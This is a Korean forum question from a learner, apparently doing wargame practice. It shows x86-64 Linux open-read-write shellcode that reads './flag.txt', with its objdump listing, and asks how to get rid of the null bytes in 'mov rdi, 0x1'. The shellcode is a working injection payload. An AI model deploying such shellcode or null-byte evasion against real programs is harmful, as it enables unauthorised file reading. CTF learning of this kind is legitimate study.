리눅스 64비트 RDI 널 바이트 제거 질문입니다.
혼자서 ORW 쉘코드를 만들고 널 바이트를 제거하는데 27번째 줄에 있는 RDI를 어떻게 처리해야 할지 모르겠어서 질문 올립니다 ㅠㅠ
아래는 어셈블리 코드입니다.
```
1 section .text
2
3 global _start
4
5 _start:
6 xor rax, rax
7 push rax
8 mov ax, 0x7478
9 push rax
10 mov rax, 0x742e67616c662f2e
11 push rax
12 mov rdi, rsp
13 xor rsi, rsi
14 xor rdx, rdx
15 xor rax, rax
16 mov al, 0x2
17 syscall
18
19 mov rdi, rax
20 mov rsi, rsp
21 sub rsp, 0x11
22 mov dl, 0x11
23 xor rax, rax
24 syscall
25
26 xor rdi, rdi
27 mov rdi, 0x1
28 xor rax, rax
29 mov al, 0x1
30 syscall
31
32 xor rdi, rdi
33 xor rsi, rsi
34 xor rdx, rdx
35 xor rax, rax
36 mov al, 0x3c
37 syscall
```
이 밑에는 objdump로 기계어를 확인했을 때입니다.
401038 여기 주소의 널 바이트를 제거하고 싶습니다.....
```
orw: file format elf64-x86-64
Disassembly of section .text:
0000000000401000 <_start>:
401000: 48 31 c0 xor %rax,%rax
401003: 50 push %rax
401004: 66 b8 78 74 mov $0x7478,%ax
401008: 50 push %rax
401009: 48 b8 2e 2f 66 6c 61 movabs $0x742e67616c662f2e,%rax
401010: 67 2e 74
401013: 50 push %rax
401014: 48 89 e7 mov %rsp,%rdi
401017: 48 31 f6 xor %rsi,%rsi
40101a: 48 31 d2 xor %rdx,%rdx
40101d: 48 31 c0 xor %rax,%rax
401020: b0 02 mov $0x2,%al
401022: 0f 05 syscall
401024: 48 89 c7 mov %rax,%rdi
401027: 48 89 e6 mov %rsp,%rsi
40102a: 48 83 ec 11 sub $0x11,%rsp
40102e: b2 11 mov $0x11,%dl
401030: 48 31 c0 xor %rax,%rax
401033: 0f 05 syscall
401035: 48 31 ff xor %rdi,%rdi
401038: bf 01 00 00 00 mov $0x1,%edi
40103d: 48 31 c0 xor %rax,%rax
401040: b0 01 mov $0x1,%al
401042: 0f 05 syscall
401044: 48 31 ff xor %rdi,%rdi
401047: 48 31 f6 xor %rsi,%rsi
40104a: 48 31 d2 xor %rdx,%rdx
40104d: 48 31 c0 xor %rax,%rax
401050: b0 3c mov $0x3c,%al
401052: 0f 05 syscall
```